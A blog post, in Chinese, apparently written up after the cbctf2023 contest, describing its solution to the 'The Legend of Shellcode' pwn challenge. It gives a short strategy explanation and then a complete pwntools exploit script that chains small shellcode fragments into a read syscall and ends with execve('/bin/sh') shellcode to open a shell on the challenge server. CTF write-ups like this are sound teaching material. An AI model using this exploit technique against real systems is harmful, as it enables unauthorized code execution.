cbctf2023 - The Legend of Shellcode

RocketDev

文件属性

属性
Arch x64
RELRO Full
Canary on
NX off
PIE on
strip no
libc 2.31-0ubuntu9.12

解题思路

nx没开,栈上放了一堆ret,一运行就是pop rip,那么控制好rsp,就能让rip跳到下一个read的段; 由于我想的是add rax,0x10;push rax的方式移动rip,因此读入9字节,只剩4字节空间了,不适合放"/bin/sh" 字符串,因此考虑在初始读入的位置搓一个SYSCALL_read出来方便读入完整的shellcode(打newstar ctf打的), 再跳转过去就可以拿到shell

赛后交流发现short jmp所耗字节更少,还是疏忽了

EXPLOIT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
context.arch = 'amd64'

def payload(lo:int):
if lo:
sh = process('./code')
if lo & 2:
gdb.attach(sh, gdbscript='b *$rebase(0x13b7)')
else:
sh = remote('training.0rays.club', 10004)

# section 1
shc = asm('''
push rax
xor rdi,rdi
add rax,0x10
push rax
''')
sh.send(shc)

# section 2
shc = asm('''
pop rbx
mov rdx,r11
add rax,0x10
push rax
''')
sh.send(shc)

# section 3
shc = asm('''
push rbx
pop rsi
push rbx
xor rax,rax
syscall
ret
''')
sh.send(shc)

# skipping rest
sh.sendlineafter(b'sh:', b'')
sh.sendlineafter(b'ht:', b'')
sh.sendlineafter(b'ul:',b'')


# section SYSCALL_read
shc = asm('''
mov rbx, 0x68732f6e69622f
push rbx
push rsp
pop rdi
xor rsi,rsi
xor rdx, rdx
push 0x3b
pop rax
syscall
''')
sh.sendlineafter(b'ru', shc)

sh.interactive()
  • 标题: cbctf2023 - The Legend of Shellcode
  • 作者: RocketDev
  • 创建于 : 2024-04-22 00:35:00
  • 更新于 : 2024-07-25 12:34:56
  • 链接: https://rocketmadev.github.io/2024/04/21/TheLegendOfShellcode/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
目录
cbctf2023 - The Legend of Shellcode